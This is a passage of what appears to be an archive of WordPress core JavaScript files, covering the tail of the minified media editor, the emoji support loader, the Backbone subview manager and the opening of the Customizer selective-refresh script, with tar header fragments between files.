n,a;return"embed"===(t=wp.media.string.props(t,i)).link&&(n={},"video"===e&&(i.image&&-1===i.image.src.indexOf(i.icon)&&(n.poster=i.image.src),i.width&&(n.width=i.width),i.height)&&(n.height=i.height),a=i.filename.split(".").pop(),r.contains(wp.media.view.settings.embedExts,a))?(n[a]=i.url,wp.shortcode.string({tag:e,attrs:n})):wp.media.string.link(t)},image:function(e,t){var i,n={};return e.type="image",i=(e=wp.media.string.props(e,t)).classes||[],n.src=(r.isUndefined(t)?e:t).url,r.extend(n,r.pick(e,"width","height","alt")),e.align&&!e.caption&&i.push("align"+e.align),e.size&&i.push("size-"+e.size),n.class=r.compact(i).join(" "),t={tag:"img",attrs:n,single:!0},e.linkUrl&&(t={tag:"a",attrs:{href:e.linkUrl},content:t}),i=wp.html.string(t),e.caption&&(t={},n.width&&(t.width=n.width),e.captionId&&(t.id=e.captionId),e.align&&(t.align="align"+e.align),i=wp.shortcode.string({tag:"caption",attrs:t,content:i+" "+e.caption})),i}},wp.media.embed={coerce:wp.media.coerce,defaults:{url:"",width:"",height:""},edit:function(e,t){var i={};return t?i.url=e.replace(/<[^>]+>/g,""):(t=wp.shortcode.next("embed",e).shortcode,i=r.defaults(t.attrs.named,this.defaults),t.content&&(i.url=t.content)),wp.media({frame:"post",state:"embed",metadata:i})},shortcode:function(i){var e,n=this;return r.each(this.defaults,function(e,t){i[t]=n.coerce(i,t),e===i[t]&&delete i[t]}),e=i.url,delete i.url,new wp.shortcode({tag:"embed",attrs:i,content:e})}},wp.media.collection=function(e){var d={};return r.extend({coerce:wp.media.coerce,attachments:function(e){var i,t=e.string(),n=d[t],a=this;return delete d[t],n||(t=r.defaults(e.attrs.named,this.defaults),(n=r.pick(t,"orderby","order")).type=this.type,n.perPage=-1,void 0!==t.orderby&&(t._orderByField=t.orderby),"rand"===t.orderby&&(t._orderbyRandom=!0),t.orderby&&!/^menu_order(?: ID)?$/i.test(t.orderby)||(n.orderby="menuOrder"),t.ids?(n.post__in=t.ids.split(","),n.orderby="post__in"):t.include&&(n.post__in=t.include.split(",")),t.exclude&&(n.post__not_in=t.exclude.split(",")),n.post__in||(n.uploadedTo=t.id),i=r.omit(t,"id","ids","include","exclude","orderby","order"),r.each(this.defaults,function(e,t){i[t]=a.coerce(i,t)}),(e=wp.media.query(n))[this.tag]=new Backbone.Model(i),e)},shortcode:function(e){var t=e.props.toJSON(),i=r.pick(t,"orderby","order");return e.type&&(i.type=e.type,delete e.type),e[this.tag]&&r.extend(i,e[this.tag].toJSON()),i.ids=e.pluck("id"),t.uploadedTo&&(i.id=t.uploadedTo),delete i.orderby,i._orderbyRandom?i.orderby="rand":i._orderByField&&"rand"!==i._orderByField&&(i.orderby=i._orderByField),delete i._orderbyRandom,delete i._orderByField,i.ids&&"post__in"===i.orderby&&delete i.orderby,i=this.setDefaults(i),i=new wp.shortcode({tag:this.tag,attrs:i,type:"single"}),(t=new wp.media.model.Attachments(e.models,{props:t}))[this.tag]=e[this.tag],d[i.string()]=t,i},edit:function(e){var t,i=wp.shortcode.next(this.tag,e),n=this.defaults.id;if(i&&i.content===e)return i=i.shortcode,r.isUndefined(i.get("id"))&&!r.isUndefined(n)&&i.set("id",n),e=this.attachments(i),(t=new wp.media.model.Selection(e.models,{props:e.props.toJSON(),multiple:!0}))[this.tag]=e[this.tag],t.more().done(function(){t.props.set({query:!1}),t.unmirror(),t.props.unset("orderby")}),this.frame&&this.frame.dispose(),n=i.attrs.named.type&&"video"===i.attrs.named.type?"video-"+this.tag+"-edit":this.tag+"-edit",this.frame=wp.media({frame:"post",state:n,title:this.editTitle,editing:!0,multiple:!0,selection:t}).open(),this.frame},setDefaults:function(i){var n=this;return r.each(this.defaults,function(e,t){i[t]=n.coerce(i,t),e===i[t]&&delete i[t]}),i}},e)},wp.media._galleryDefaults={itemtag:"dl",icontag:"dt",captiontag:"dd",columns:"3",link:"post",size:"thumbnail",order:"ASC",id:wp.media.view.settings.post&&wp.media.view.settings.post.id,orderby:"menu_order ID"},wp.media.view.settings.galleryDefaults?wp.media.galleryDefaults=r.extend({},wp.media._galleryDefaults,wp.media.view.settings.galleryDefaults):wp.media.galleryDefaults=wp.media._galleryDefaults,wp.media.gallery=new wp.media.collection({tag:"gallery",type:"image",editTitle:wp.media.view.l10n.editGalleryTitle,defaults:wp.media.galleryDefaults,setDefaults:function(i){var n=this,a=!r.isEqual(wp.media.galleryDefaults,wp.media._galleryDefaults);return r.each(this.defaults,function(e,t){i[t]=n.coerce(i,t),e!==i[t]||a&&e!==wp.media._galleryDefaults[t]||delete i[t]}),i}}),wp.media.featuredImage={get:function(){return wp.media.view.settings.post.featuredImageId},set:function(e){var t=wp.media.view.settings;t.post.featuredImageId=e,wp.media.post("get-post-thumbnail-html",{post_id:t.post.id,thumbnail_id:t.post.featuredImageId,_wpnonce:t.post.nonce}).done(function(e){"0"===e?window.alert(wp.i18n.__("Could not set that as the thumbnail image. Try a different attachment.")):a(".inside","#postimagediv").html(e)})},remove:function(){wp.media.featuredImage.set(-1)},frame:function(){return this._frame?wp.media.frame=this._frame:(this._frame=wp.media({state:"featured-image",states:[new wp.media.controller.FeaturedImage,new wp.media.controller.EditImage]}),this._frame.on("toolbar:create:featured-image",function(e){this.createSelectToolbar(e,{text:wp.media.view.l10n.setFeaturedImage})},this._frame),this._frame.on("content:render:edit-image",function(){var e=this.state("featured-image").get("selection"),e=new wp.media.view.EditImage({model:e.single(),controller:this}).render();this.content.set(e),e.loadEditor()},this._frame),this._frame.state("featured-image").on("select",this.select)),this._frame},select:function(){var e=this.get("selection").single();wp.media.view.settings.post.featuredImageId&&wp.media.featuredImage.set(e?e.id:-1)},init:function(){a("#postimagediv").on("click","#set-post-thumbnail",function(e){e.preventDefault(),e.stopPropagation(),wp.media.featuredImage.frame().open()}).on("click","#remove-post-thumbnail",function(){return wp.media.featuredImage.remove(),!1})}},a(wp.media.featuredImage.init),wp.media.editor={insert:function(e){var t,i=!r.isUndefined(window.tinymce),n=!r.isUndefined(window.QTags),a=this.activeEditor?window.wpActiveEditor=this.activeEditor:window.wpActiveEditor;if(window.send_to_editor)return window.send_to_editor.apply(this,arguments);if(a)i&&(t=tinymce.get(a));else if(i&&tinymce.activeEditor)t=tinymce.activeEditor,a=window.wpActiveEditor=t.id;else if(!n)return!1;if(t&&!t.isHidden()?t.execCommand("mceInsertContent",!1,e):n?QTags.insertContent(e):document.getElementById(a).value+=e,window.tb_remove)try{window.tb_remove()}catch(e){}},add:function(e,t){var n=this.get(e);return n||((n=i[e]=wp.media(r.defaults(t||{},{frame:"post",state:"insert",title:wp.media.view.l10n.addMedia,multiple:!0}))).on("insert",function(e){var i=n.state();(e=e||i.get("selection"))&&a.when.apply(a,e.map(function(e){var t=i.display(e).toJSON();return this.send.attachment(t,e.toJSON())},this)).done(function(){wp.media.editor.insert(r.toArray(arguments).join("\n\n"))})},this),n.state("gallery-edit").on("update",function(e){this.insert(wp.media.gallery.shortcode(e).string())},this),n.state("playlist-edit").on("update",function(e){this.insert(wp.media.playlist.shortcode(e).string())},this),n.state("video-playlist-edit").on("update",function(e){this.insert(wp.media.playlist.shortcode(e).string())},this),n.state("embed").on("select",function(){var e=n.state(),t=e.get("type"),e=e.props.toJSON();e.url=e.url||"","link"===t?(r.defaults(e,{linkText:e.url,linkUrl:e.url}),this.send.link(e).done(function(e){wp.media.editor.insert(e)})):"image"===t&&(r.defaults(e,{title:e.url,linkUrl:"",align:"none",link:"none"}),"none"===e.link?e.linkUrl="":"file"===e.link&&(e.linkUrl=e.url),this.insert(wp.media.string.image(e)))},this),n.state("featured-image").on("select",wp.media.featuredImage.select),n.setState(n.options.state)),n},id:function(e){return e=e||((e=(e=window.wpActiveEditor)||r.isUndefined(window.tinymce)||!tinymce.activeEditor?e:tinymce.activeEditor.id)||"")},get:function(e){return e=this.id(e),i[e]},remove:function(e){e=this.id(e),delete i[e]},send:{attachment:function(i,e){var n,t,a=e.caption;return wp.media.view.settings.captions||delete e.caption,i=wp.media.string.props(i,e),n={id:e.id,post_content:e.description,post_excerpt:a},i.linkUrl&&(n.url=i.linkUrl),"image"===e.type?(t=wp.media.string.image(i),r.each({align:"align",size:"image-size",alt:"image_alt"},function(e,t){i[t]&&(n[e]=i[t])})):"video"===e.type?t=wp.media.string.video(i,e):"audio"===e.type?t=wp.media.string.audio(i,e):(t=wp.media.string.link(i),n.post_title=i.title),wp.media.post("send-attachment-to-editor",{nonce:wp.media.view.settings.nonce.sendToEditor,attachment:n,html:t,post_id:wp.media.view.settings.post.id})},link:function(e){return wp.media.post("send-link-to-editor",{nonce:wp.media.view.settings.nonce.sendToEditor,src:e.linkUrl,link_text:e.linkText,html:wp.media.string.link(e),post_id:wp.media.view.settings.post.id})}},open:function(e,t){var i;return t=t||{},e=this.id(e),this.activeEditor=e,(!(i=this.get(e))||i.options&&t.state!==i.options.state)&&(i=this.add(e,t)),(wp.media.frame=i).open()},init:function(){a(document.body).on("click.add-media-button",".insert-media",function(e){var t=a(e.currentTarget),i=t.data("editor"),n={frame:"post",state:"insert",title:wp.media.view.l10n.addMedia,multiple:!0};e.preventDefault(),t.hasClass("gallery")&&(n.state="gallery",n.title=wp.media.view.l10n.createGalleryTitle),wp.media.editor.open(i,n)}),(new wp.media.view.EditorUploader).render()}},r.bindAll(wp.media.editor,"open"),a(wp.media.editor.init)}(jQuery,_); wp-emoji-loader.js 0000644 00000033271 15111757755 0010121 0 ustar 00 /** * @output wp-includes/js/wp-emoji-loader.js */ /** * Emoji Settings as exported in PHP via _print_emoji_detection_script(). * @typedef WPEmojiSettings * @type {object} * @property {?object} source * @property {?string} source.concatemoji * @property {?string} source.twemoji * @property {?string} source.wpemoji * @property {?boolean} DOMReady * @property {?Function} readyCallback */ /** * Support tests. * @typedef SupportTests * @type {object} * @property {?boolean} flag * @property {?boolean} emoji */ /** * IIFE to detect emoji support and load Twemoji if needed. * * @param {Window} window * @param {Document} document * @param {WPEmojiSettings} settings */ ( function wpEmojiLoader( window, document, settings ) { if ( typeof Promise === 'undefined' ) { return; } var sessionStorageKey = 'wpEmojiSettingsSupports'; var tests = [ 'flag', 'emoji' ]; /** * Checks whether the browser supports offloading to a Worker. * * @since 6.3.0 * * @private * * @returns {boolean} */ function supportsWorkerOffloading() { return ( typeof Worker !== 'undefined' && typeof OffscreenCanvas !== 'undefined' && typeof URL !== 'undefined' && URL.createObjectURL && typeof Blob !== 'undefined' ); } /** * @typedef SessionSupportTests * @type {object} * @property {number} timestamp * @property {SupportTests} supportTests */ /** * Get support tests from session. * * @since 6.3.0 * * @private * * @returns {?SupportTests} Support tests, or null if not set or older than 1 week. */ function getSessionSupportTests() { try { /** @type {SessionSupportTests} */ var item = JSON.parse( sessionStorage.getItem( sessionStorageKey ) ); if ( typeof item === 'object' && typeof item.timestamp === 'number' && new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds. typeof item.supportTests === 'object' ) { return item.supportTests; } } catch ( e ) {} return null; } /** * Persist the supports in session storage. * * @since 6.3.0 * * @private * * @param {SupportTests} supportTests Support tests. */ function setSessionSupportTests( supportTests ) { try { /** @type {SessionSupportTests} */ var item = { supportTests: supportTests, timestamp: new Date().valueOf() }; sessionStorage.setItem( sessionStorageKey, JSON.stringify( item ) ); } catch ( e ) {} } /** * Checks if two sets of Emoji characters render the same visually. * * This is used to determine if the browser is rendering an emoji with multiple data points * correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji * in the incorrect form, using a zero-width space. If the two sets render the same, then the browser * does not support the emoji correctly. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.9.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} set1 Set of Emoji to test. * @param {string} set2 Set of Emoji to test. * * @return {boolean} True if the two sets render the same. */ function emojiSetsRenderIdentically( context, set1, set2 ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set1, 0, 0 ); var rendered1 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set2, 0, 0 ); var rendered2 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); return rendered1.every( function ( rendered2Data, index ) { return rendered2Data === rendered2[ index ]; } ); } /** * Checks if the center point of a single emoji is empty. * * This is used to determine if the browser is rendering an emoji with a single data point * correctly. The center point of an incorrectly rendered emoji will be empty. A correctly * rendered emoji will have a non-zero value at the center point. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.8.2 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} emoji Emoji to test. * * @return {boolean} True if the center point is empty. */ function emojiRendersEmptyCenterPoint( context, emoji ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( emoji, 0, 0 ); // Test if the center point (16, 16) is empty (0,0,0,0). var centerPoint = context.getImageData(16, 16, 1, 1); for ( var i = 0; i < centerPoint.data.length; i++ ) { if ( centerPoint.data[ i ] !== 0 ) { // Stop checking the moment it's known not to be empty. return false; } } return true; } /** * Determines if the browser properly renders Emoji that Twemoji can supplement. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.2.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} type Whether to test for support of "flag" or "emoji". * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {boolean} True if the browser can render emoji, false if it cannot. */ function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { var isIdentical; switch ( type ) { case 'flag': /* * Test for Transgender flag compatibility. Added in Unicode 13. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (white flag emoji + transgender symbol). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence '\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for Sark flag compatibility. This is the least supported of the letter locale flags, * so gives us an easy test for full support. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly ([C] + [Q]). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points '\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for English flag compatibility. England is a country in the United Kingdom, it * does not have a two letter locale code but rather a five letter sub-division code. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]). */ isIdentical = emojiSetsRenderIdentically( context, // as the flag sequence '\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F', // with each code point separated by a zero-width space '\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F' ); return ! isIdentical; case 'emoji': /* * Does Emoji 16.0 cause the browser to go splat? * * To test for Emoji 16.0 support, try to render a new emoji: Splatter. * * The splatter emoji is a single code point emoji. Testing for browser support * required testing the center point of the emoji to see if it is empty. * * 0xD83E 0xDEDF (\uD83E\uDEDF) == Splatter. * * When updating this test, please ensure that the emoji is either a single code point * or switch to using the emojiSetsRenderIdentically function and testing with a zero-width * joiner vs a zero-width space. */ var notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\uDEDF' ); return ! notSupported; } return false; } /** * Checks emoji support tests. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.3.0 * * @private * * @param {string[]} tests Tests. * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification. * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {SupportTests} Support tests. */ function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { var canvas; if ( typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope ) { canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement. } else { canvas = document.createElement( 'canvas' ); } var context = canvas.getContext( '2d', { willReadFrequently: true } ); /* * Chrome on OS X added native emoji rendering in M41. Unfortunately, * it doesn't work when the font is bolder than 500 weight. So, we * check for bold rendering support to avoid invisible emoji in Chrome. */ context.textBaseline = 'top'; context.font = '600 32px Arial'; var supports = {}; tests.forEach( function ( test ) { supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); } ); return supports; } /** * Adds a script to the head of the document. * * @ignore * * @since 4.2.0 * * @param {string} src The url where the script is located. * * @return {void} */ function addScript( src ) { var script = document.createElement( 'script' ); script.src = src; script.defer = true; document.head.appendChild( script ); } settings.supports = { everything: true, everythingExceptFlag: true }; // Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired. var domReadyPromise = new Promise( function ( resolve ) { document.addEventListener( 'DOMContentLoaded', resolve, { once: true } ); } ); // Obtain the emoji support from the browser, asynchronously when possible. new Promise( function ( resolve ) { var supportTests = getSessionSupportTests(); if ( supportTests ) { resolve( supportTests ); return; } if ( supportsWorkerOffloading() ) { try { // Note that the functions are being passed as arguments due to minification. var workerScript = 'postMessage(' + testEmojiSupports.toString() + '(' + [ JSON.stringify( tests ), browserSupportsEmoji.toString(), emojiSetsRenderIdentically.toString(), emojiRendersEmptyCenterPoint.toString() ].join( ',' ) + '));'; var blob = new Blob( [ workerScript ], { type: 'text/javascript' } ); var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } ); worker.onmessage = function ( event ) { supportTests = event.data; setSessionSupportTests( supportTests ); worker.terminate(); resolve( supportTests ); }; return; } catch ( e ) {} } supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); setSessionSupportTests( supportTests ); resolve( supportTests ); } ) // Once the browser emoji support has been obtained from the session, finalize the settings. .then( function ( supportTests ) { /* * Tests the browser support for flag emojis and other emojis, and adjusts the * support settings accordingly. */ for ( var test in supportTests ) { settings.supports[ test ] = supportTests[ test ]; settings.supports.everything = settings.supports.everything && settings.supports[ test ]; if ( 'flag' !== test ) { settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ test ]; } } settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag; // Sets DOMReady to false and assigns a ready function to settings. settings.DOMReady = false; settings.readyCallback = function () { settings.DOMReady = true; }; } ) .then( function () { return domReadyPromise; } ) .then( function () { // When the browser can not render everything we need to load a polyfill. if ( ! settings.supports.everything ) { settings.readyCallback(); var src = settings.source || {}; if ( src.concatemoji ) { addScript( src.concatemoji ); } else if ( src.wpemoji && src.twemoji ) { addScript( src.twemoji ); addScript( src.wpemoji ); } } } ); } )( window, document, window._wpemojiSettings ); wp-backbone.js 0000644 00000035611 15111757755 0007316 0 ustar 00 /** * @output wp-includes/js/wp-backbone.js */ /** @namespace wp */ window.wp = window.wp || {}; (function ($) { /** * Create the WordPress Backbone namespace. * * @namespace wp.Backbone */ wp.Backbone = {}; /** * A backbone subview manager. * * @since 3.5.0 * @since 3.6.0 Moved wp.media.Views to wp.Backbone.Subviews. * * @memberOf wp.Backbone * * @class * * @param {wp.Backbone.View} view The main view. * @param {Array|Object} views The subviews for the main view. */ wp.Backbone.Subviews = function( view, views ) { this.view = view; this._views = _.isArray( views ) ? { '': views } : views || {}; }; wp.Backbone.Subviews.extend = Backbone.Model.extend; _.extend( wp.Backbone.Subviews.prototype, { /** * Fetches all of the subviews. * * @since 3.5.0 * * @return {Array} All the subviews. */ all: function() { return _.flatten( _.values( this._views ) ); }, /** * Fetches all subviews that match a given `selector`. * * If no `selector` is provided, it will grab all subviews attached * to the view's root. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * * @return {Array} All the subviews that match the selector. */ get: function( selector ) { selector = selector || ''; return this._views[ selector ]; }, /** * Fetches the first subview that matches a given `selector`. * * If no `selector` is provided, it will grab the first subview attached to the * view's root. * * Useful when a selector only has one subview at a time. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * * @return {Backbone.View} The view. */ first: function( selector ) { var views = this.get( selector ); return views && views.length ? views[0] : null; }, /** * Registers subview(s). * * Registers any number of `views` to a `selector`. * * When no `selector` is provided, the root selector (the empty string) * is used. `views` accepts a `Backbone.View` instance or an array of * `Backbone.View` instances. * * --- * * Accepts an `options` object, which has a significant effect on the * resulting behavior. * * `options.silent` - *boolean, `false`* * If `options.silent` is true, no DOM modifications will be made. * * `options.add` - *boolean, `false`* * Use `Views.add()` as a shortcut for setting `options.add` to true. * * By default, the provided `views` will replace any existing views * associated with the selector. If `options.add` is true, the provided * `views` will be added to the existing views. * * `options.at` - *integer, `undefined`* * When adding, to insert `views` at a specific index, use `options.at`. * By default, `views` are added to the end of the array. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * @param {Array|Object} views The subviews for the main view. * @param {Object} options Options for call. If `options.silent` is true, * no DOM modifications will be made. Use * `Views.add()` as a shortcut for setting * `options.add` to true. If `options.add` is * true, the provided `views` will be added to * the existing views. When adding, to insert * `views` at a specific index, use `options.at`. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ set: function( selector, views, options ) { var existing, next; if ( ! _.isString( selector ) ) { options = views; views = selector; selector = ''; } options = options || {}; views = _.isArray( views ) ? views : [ views ]; existing = this.get( selector ); next = views; if ( existing ) { if ( options.add ) { if ( _.isUndefined( options.at ) ) { next = existing.concat( views ); } else { next = existing; next.splice.apply( next, [ options.at, 0 ].concat( views ) ); } } else { _.each( next, function( view ) { view.__detach = true; }); _.each( existing, function( view ) { if ( view.__detach ) view.$el.detach(); else view.remove(); }); _.each( next, function( view ) { delete view.__detach; }); } } this._views[ selector ] = next; _.each( views, function( subview ) { var constructor = subview.Views || wp.Backbone.Subviews, subviews = subview.views = subview.views || new constructor( subview ); subviews.parent = this.view; subviews.selector = selector; }, this ); if ( ! options.silent ) this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) ); return this; }, /** * Add subview(s) to existing subviews. * * An alias to `Views.set()`, which defaults `options.add` to true. * * Adds any number of `views` to a `selector`. * * When no `selector` is provided, the root selector (the empty string) * is used. `views` accepts a `Backbone.View` instance or an array of * `Backbone.View` instances. * * Uses `Views.set()` when setting `options.add` to `false`. * * Accepts an `options` object. By default, provided `views` will be * inserted at the end of the array of existing views. To insert * `views` at a specific index, use `options.at`. If `options.silent` * is true, no DOM modifications will be made. * * For more information on the `options` object, see `Views.set()`. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * @param {Array|Object} views The subviews for the main view. * @param {Object} options Options for call. To insert `views` at a * specific index, use `options.at`. If * `options.silent` is true, no DOM modifications * will be made. * * @return {wp.Backbone.Subviews} The current subviews instance. */ add: function( selector, views, options ) { if ( ! _.isString( selector ) ) { options = views; views = selector; selector = ''; } return this.set( selector, views, _.extend({ add: true }, options ) ); }, /** * Removes an added subview. * * Stops tracking `views` registered to a `selector`. If no `views` are * set, then all of the `selector`'s subviews will be unregistered and * removed. * * Accepts an `options` object. If `options.silent` is set, `remove` * will *not* be triggered on the unregistered views. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * @param {Array|Object} views The subviews for the main view. * @param {Object} options Options for call. If `options.silent` is set, * `remove` will *not* be triggered on the * unregistered views. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ unset: function( selector, views, options ) { var existing; if ( ! _.isString( selector ) ) { options = views; views = selector; selector = ''; } views = views || []; if ( existing = this.get( selector ) ) { views = _.isArray( views ) ? views : [ views ]; this._views[ selector ] = views.length ? _.difference( existing, views ) : []; } if ( ! options || ! options.silent ) _.invoke( views, 'remove' ); return this; }, /** * Detaches all subviews. * * Helps to preserve all subview events when re-rendering the master * view. Used in conjunction with `Views.render()`. * * @since 3.5.0 * * @return {wp.Backbone.Subviews} The current Subviews instance. */ detach: function() { $( _.pluck( this.all(), 'el' ) ).detach(); return this; }, /** * Renders all subviews. * * Used in conjunction with `Views.detach()`. * * @since 3.5.0 * * @return {wp.Backbone.Subviews} The current Subviews instance. */ render: function() { var options = { ready: this._isReady() }; _.each( this._views, function( views, selector ) { this._attach( selector, views, options ); }, this ); this.rendered = true; return this; }, /** * Removes all subviews. * * Triggers the `remove()` method on all subviews. Detaches the master * view from its parent. Resets the internals of the views manager. * * Accepts an `options` object. If `options.silent` is set, `unset` * will *not* be triggered on the master view's parent. * * @since 3.6.0 * * @param {Object} options Options for call. * @param {boolean} options.silent If true, `unset` will *not* be triggered on * the master views' parent. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ remove: function( options ) { if ( ! options || ! options.silent ) { if ( this.parent && this.parent.views ) this.parent.views.unset( this.selector, this.view, { silent: true }); delete this.parent; delete this.selector; } _.invoke( this.all(), 'remove' ); this._views = []; return this; }, /** * Replaces a selector's subviews * * By default, sets the `$target` selector's html to the subview `els`. * * Can be overridden in subclasses. * * @since 3.5.0 * * @param {string} $target Selector where to put the elements. * @param {*} els HTML or elements to put into the selector's HTML. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ replace: function( $target, els ) { $target.html( els ); return this; }, /** * Insert subviews into a selector. * * By default, appends the subview `els` to the end of the `$target` * selector. If `options.at` is set, inserts the subview `els` at the * provided index. * * Can be overridden in subclasses. * * @since 3.5.0 * * @param {string} $target Selector where to put the elements. * @param {*} els HTML or elements to put at the end of the * $target. * @param {?Object} options Options for call. * @param {?number} options.at At which index to put the elements. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ insert: function( $target, els, options ) { var at = options && options.at, $children; if ( _.isNumber( at ) && ($children = $target.children()).length > at ) $children.eq( at ).before( els ); else $target.append( els ); return this; }, /** * Triggers the ready event. * * Only use this method if you know what you're doing. For performance reasons, * this method does not check if the view is actually attached to the DOM. It's * taking your word for it. * * Fires the ready event on the current view and all attached subviews. * * @since 3.5.0 */ ready: function() { this.view.trigger('ready'); // Find all attached subviews, and call ready on them. _.chain( this.all() ).map( function( view ) { return view.views; }).flatten().where({ attached: true }).invoke('ready'); }, /** * Attaches a series of views to a selector. Internal. * * Checks to see if a matching selector exists, renders the views, * performs the proper DOM operation, and then checks if the view is * attached to the document. * * @since 3.5.0 * * @private * * @param {string} selector A jQuery selector. * @param {Array|Object} views The subviews for the main view. * @param {Object} options Options for call. * @param {boolean} options.add If true the provided views will be added. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ _attach: function( selector, views, options ) { var $selector = selector ? this.view.$( selector ) : this.view.$el, managers; // Check if we found a location to attach the views. if ( ! $selector.length ) return this; managers = _.chain( views ).pluck('views').flatten().value(); // Render the views if necessary. _.each( managers, function( manager ) { if ( manager.rendered ) return; manager.view.render(); manager.rendered = true; }, this ); // Insert or replace the views. this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options ); /* * Set attached and trigger ready if the current view is already * attached to the DOM. */ _.each( managers, function( manager ) { manager.attached = true; if ( options.ready ) manager.ready(); }, this ); return this; }, /** * Determines whether or not the current view is in the DOM. * * @since 3.5.0 * * @private * * @return {boolean} Whether or not the current view is in the DOM. */ _isReady: function() { var node = this.view.el; while ( node ) { if ( node === document.body ) return true; node = node.parentNode; } return false; } }); wp.Backbone.View = Backbone.View.extend({ // The constructor for the `Views` manager. Subviews: wp.Backbone.Subviews, /** * The base view class. * * This extends the backbone view to have a build-in way to use subviews. This * makes it easier to have nested views. * * @since 3.5.0 * @since 3.6.0 Moved wp.media.View to wp.Backbone.View * * @constructs * @augments Backbone.View * * @memberOf wp.Backbone * * * @param {Object} options The options for this view. */ constructor: function( options ) { this.views = new this.Subviews( this, this.views ); this.on( 'ready', this.ready, this ); this.options = options || {}; Backbone.View.apply( this, arguments ); }, /** * Removes this view and all subviews. * * @since 3.5.0 * * @return {wp.Backbone.Subviews} The current Subviews instance. */ remove: function() { var result = Backbone.View.prototype.remove.apply( this, arguments ); // Recursively remove child views. if ( this.views ) this.views.remove(); return result; }, /** * Renders this view and all subviews. * * @since 3.5.0 * * @return {wp.Backbone.View} The current instance of the view. */ render: function() { var options; if ( this.prepare ) options = this.prepare(); this.views.detach(); if ( this.template ) { options = options || {}; this.trigger( 'prepare', options ); this.$el.html( this.template( options ) ); } this.views.render(); return this; }, /** * Returns the options for this view. * * @since 3.5.0 * * @return {Object} The options for this view. */ prepare: function() { return this.options; }, /** * Method that is called when the ready event is triggered. * * @since 3.5.0 */ ready: function() {} }); }(jQuery)); customize-selective-refresh.js 0000644 00000101067 15111757755 0012564 0 ustar 00 /** * @output wp-includes/js/customize-selective-refresh.js */ /* global jQuery, JSON, _customizePartialRefreshExports, console */ /** @namespace wp.customize.selectiveRefresh */ wp.customize.selectiveRefresh = ( function( $, api ) { 'use strict'; var self, Partial, Placement; self = { ready: $.Deferred(), editShortcutVisibility: new api.Value(), data: { partials: {}, renderQueryVar: '', l10n: { shiftClickToEdit: '' } }, currentRequest: null }; _.extend( self, api.Events ); /** * A Customizer 